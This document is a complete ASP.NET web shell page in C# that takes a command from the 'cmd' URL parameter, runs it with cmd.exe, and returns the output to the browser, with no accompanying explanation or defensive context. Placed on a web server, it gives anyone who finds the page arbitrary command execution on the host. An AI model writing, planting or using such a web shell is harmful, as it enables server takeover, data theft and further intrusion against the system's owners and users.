%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %>
<% string cmd = Request.QueryString["cmd"]; // Get the command from the 'cmd' query parameter if (!string.IsNullOrEmpty(cmd)) { try { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; // Command shell on Windows process.StartInfo.Arguments = "/c " + cmd; // Execute the provided command process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true; process.Start(); StreamReader outputReader = process.StandardOutput; StreamReader errorReader = process.StandardError; string output = outputReader.ReadToEnd(); string error = errorReader.ReadToEnd(); Response.Write(Server.HtmlEncode(output)); Response.Write(Server.HtmlEncode(error)); } catch (Exception ex) { Response.Write("Error: " + Server.HtmlEncode(ex.Message)); } } %>